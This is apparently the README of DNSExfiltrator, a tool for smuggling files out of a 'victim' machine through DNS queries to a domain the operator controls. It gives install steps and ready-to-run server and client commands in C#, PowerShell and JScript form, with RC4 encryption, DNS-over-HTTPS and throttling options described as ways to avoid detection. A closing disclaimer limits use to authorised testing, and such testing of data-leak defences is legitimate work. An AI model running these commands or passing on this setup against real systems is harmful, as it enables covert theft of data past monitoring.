DNSExfiltrator

Author: Arno0x0x – @Arno0x0x

DNSExfiltrator allows for transferring (exfiltrate) a file over a DNS request covert channel. This is basically a data leak testing tool allowing to exfiltrate data over a covert channel.

DNSExfiltrator has two sides:

1. The server side, coming as a single python script (dnsexfiltrator.py), which acts as a custom DNS server, receiving the file
2. The client side (victim’s side), which comes in three flavors:

• dnsExfiltrator.cs: a C# script that can be compiled with csc.exe to provide a Windows managed executable
• Invoke-DNSExfiltrator.ps1: a PowerShell script providing the exact same functionalities by wrapping the dnsExfiltrator assembly
• dnsExfiltrator.js: a JScript script which is a conversion of the dnsExiltrator DLL assembly using DotNetToJScript, and providing the exact same functionalities

In order for the whole thing to work, you must own a domain name and set the DNS record (NS) for that domain to point to the server that will run the dnsexfiltrator.py server side.

Features

By default, DNSExfiltrator uses the system’s defined DNS server, but you can also set a specific one to use (useful for debugging purposes or for running the server side locally for instance).

Alternatively, using the -h flag, DNSExfiltrator can perform DoH (DNS over HTTP) using the Google DoH servers.

DNSExfiltrator supports basic RC4 encryption of the exfiltrated data, using the provided password to encrypt/decrypt the data.

DNSExfiltrator also provides some optional features to avoid detection:

• requests throttling in order to stay more stealthy when exfiltrating data
• reduction of the DNS request size (by default it will try to use as many bytes left available in each DNS request for efficiency)
• reduction of the DNS label size (by default it will try to use the longest supported label size of 63 chars)

Installation

git clone https://github.com/Arno0x/DNSExfiltrator.git
cd DNSExfiltrator
pip install -r requirements.txt

Usage

SERVER SIDE

Start the dnsexfiltrator.py script passing it the domain name and decryption password to be used:

root@kali:~# ./dnsexfiltrator.py -d mydomain.com -p password

CLIENT SIDE

You can either use the compiled version, or the PowerShell wrapper (which is basically the same thing) or the JScript wrapper. In any case, the parameters are the same, with just a slight difference in the way of passing them in PowerShell.

1/ Using the C# compiled Windows executable (which you can find in the release directory):

dnsExfiltrator.exe <file> <domainName> <password> [-h] [s=DNS_server] [t=throttleTime] [r=requestMaxSize] [l=labelMaxSize]

      file:           [MANDATORY] The file name to the file to be exfiltrated.

      domainName:     [MANDATORY] The domain name to use for DNS requests.

      password:       [MANDATORY] Password used to encrypt the data to be exfiltrated.

      -h:             [OPTIONNAL] Flag enabling DoH (DNS over HTTP) usage. Uses Google's DoH servers.

      DNS_Server:     [OPTIONNAL] The DNS server name or IP to use for DNS requests. Defaults to the system one.

      throttleTime:   [OPTIONNAL] The time in milliseconds to wait between each DNS request.

      requestMaxSize: [OPTIONNAL] The maximum size in bytes for each DNS request. Defaults to 255 bytes..

      labelMaxSize:   [OPTIONNAL] The maximum size in chars for each DNS request label (subdomain). Defaults to 63 chars.

2/ Using the PowerShell script, well, call it in any of your preferred way (you probably know tons of ways of invoking a powershell script) along with the script parameters. Most basic example:

c:\DNSExfiltrator> powershell

PS c:\DNSExfiltrator> Import-Module .\Invoke-DNSExfiltrator.ps1

PS c:\DNSExfiltrator> Invoke-DNSExfiltrator -i inputFile -d mydomain.com -p password -s my.dns.server.com -t 500

[...]

Check the EXAMPLES section in the script file for further usage examples.

3/ Using the JScript script, pass it the exact same arguments as you would with the standalone Windows executable:

cscript.exe dnsExiltrator.js inputFile mydomain.com password

Or, with some options:

cscript.exe dnsExiltrator.js inputFile mydomain.com password s=my.dns.server.com t=500

DISCLAIMER

This tool is intended to be used in a legal and legitimate way only:

• either on your own systems as a means of learning, of demonstrating what can be done and how, or testing your defense and detection mechanisms
• on systems, you’ve been officially and legitimately entitled to perform some security assessments (pentest, security audits)